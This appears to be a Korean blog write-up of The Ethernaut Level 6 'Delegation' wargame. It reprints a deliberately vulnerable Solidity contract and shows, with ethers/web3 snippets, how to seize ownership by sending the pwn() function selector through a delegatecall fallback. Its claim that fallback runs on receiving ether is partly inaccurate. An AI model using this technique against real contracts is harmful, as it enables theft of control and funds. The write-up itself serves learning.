728x90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
owner 권한을 탈취하면 된다.
일단 문제 contract는 Delegation일 것이고 delegate변수에 Delegeate contract를 담는다.
owner 권한을 탈취하려면 Delegate의 pwn()함수만 실행시키면 되는데 일단 의심가는 점은 fallback() 부분이다.
fallback()은 이더를 받을 때 자동으로 실행되는 함수이다. (receive랑 비슷)
ether를 받을 때 delegate의 delegatecall함수를 실행시키는데 delegatecall함수는 외부 contract의 코드를 호출자의 컨텍스트에서 실행하는 함수이다.
즉, 이를 통해 Delegate contract의 pwn()함수를 실행시킬 수 있다.
일단 ether를 넘겨야하니 sendTrasaction을 사용하면 될 것이고 data부분에 pwn()함수를 넘기면 된다.
다만 pwn()을 바로 넘길수는 없고 16진수 형식으로 된 function값을 넘겨야 한다.
pwn()함수의 16진수 값은 아래 코드들로 알아낼 수 있다.
web3.eth.abi.encodeFunctionSignature("pwn()")
// 혹은
const data = abi.encodeFunctionData("pwn")
// abi가 설정되어있지 않다면
const abi = new ethers.utils.Interface(["function pwn()"]);
1번째 행이랑 3번째 값을 변수에 넣기 위해선 const를 써야한다.
그리고 해당 값을 sendTransaction의 data에 넘긴다.
const data = abi.encodeFunctionData("pwn()")
await contract.sendTransaction({'data':data})
그러면 Delegate의 pwn함수가 호출되면서 owner를 탈취할 수 있다.
728x90
반응형
'Web3 > The Ethernaut' 카테고리의 다른 글
[The Ethernaut] Level 5. Token (0) | 2025.01.17 |
---|---|
[The Ethernaut] Level 4. Telephone (0) | 2025.01.17 |
[The Ethernaut] Level 3. Coin Flip (0) | 2025.01.16 |
[The Ethernaut] Level 1. Fallback (2) | 2025.01.06 |